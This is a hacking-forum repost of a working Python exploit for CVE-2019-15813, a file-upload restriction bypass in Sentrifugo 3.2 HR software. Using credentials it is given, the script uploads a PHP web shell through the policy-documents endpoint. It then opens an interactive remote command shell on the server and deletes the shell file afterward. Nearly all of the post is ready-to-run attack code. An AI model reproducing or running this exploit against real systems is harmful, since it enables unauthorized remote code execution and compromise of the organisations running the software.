跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Sentrifugo 3.2 - File Upload Restriction Bypass (Authenticated)

精选回复

发布于
# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass (Authenticated)
# Date: 26/10/2020
# Exploit Author: Gurkirat Singh <[email protected]>
# Vendor Homepage: http://www.sentrifugo.com/
# POC Link: https://www.exploit-db.com/exploits/47323
# Version: 3.2
# Tested on: Linux and Windows
# CVE : CVE-2019-15813
# Contact Details: https://google.com/search?q=tbhaxor

from argparse import ArgumentParser, RawTextHelpFormatter
from bs4 import BeautifulSoup, Tag
from requests.sessions import Session
import tempfile as tmp
import os.path as path
import random
import string
from huepy import *

parser = ArgumentParser(description="Exploit for CVE-2019-15813",
                        formatter_class=RawTextHelpFormatter)
parser.add_argument("--target",
                    "-t",
                    help="target uri where application is installed",
                    required=True,
                    metavar="",
                    dest="t")
parser.add_argument("--user",
                    "-u",
                    help="username to authenticate",
                    required=True,
                    metavar="",
                    dest="u")
parser.add_argument("--password",
                    "-p",
                    help="password to authenticate",
                    required=True,
                    metavar="",
                    dest="p")
args = parser.parse_args()

if args.t.endswith("/"):
    args.t = args.t[:-1]

F = "".join(random.choices(string.ascii_letters, k=13)) + ".php"

with Session() as http:
    print(run("Logging in"))
    data = {"username": args.u, "password": args.p}

    r = http.post(args.t + "/index.php/index/loginpopupsave",
                  data=data,
                  allow_redirects=False)

    if not (r.headers.get("Location", "").endswith("welcome")
            or r.headers.get("Location", "").endswith("welcome/")):
        print(bad("Unable to login. Check username / password"))
        exit(1)
    print(good("Logged in"))

    print(run("Exploiting"))
    files = {"myfile": ("shell.php", "<?php system($_POST['cmd']); ?>")}

    r = http.post(args.t + "/index.php/policydocuments/uploaddoc", files=files)
    if r.status_code != 200:
        print(bad("Unable to upload file"))
        exit(1)
    file_name = r.json()["filedata"]["new_name"]
    print(info("Spawning shell"))

    user = http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
                     data={"cmd": "whoami"})
    host = http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
                     data={"cmd": "cat /etc/hostname"})
    shell = f"{lightgreen('%s@%s'%(user.content.decode().strip(), host.content.decode().strip()))}{blue('$ ')}"

    while True:
        try:
            cmd = input(shell)
            if cmd == "exit": break
            r = http.post(args.t + "/public/uploads/policy_doc_temp/" +
                          file_name,
                          data={"cmd": cmd})
            print(r.content.decode().strip())
        except Exception as e:
            print()
            break

    print(run("Cleaning"))
    http.post(args.t + "/public/uploads/policy_doc_temp/" + file_name,
              data={"cmd": "rm %s" % file_name})
    r = http.get(args.t + "/public/uploads/policy_doc_temp/" + file_name)
    if r.status_code == 404:
        print(good("Cleaned"))
    else:
        print(bad("Unable to clean the file"))
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。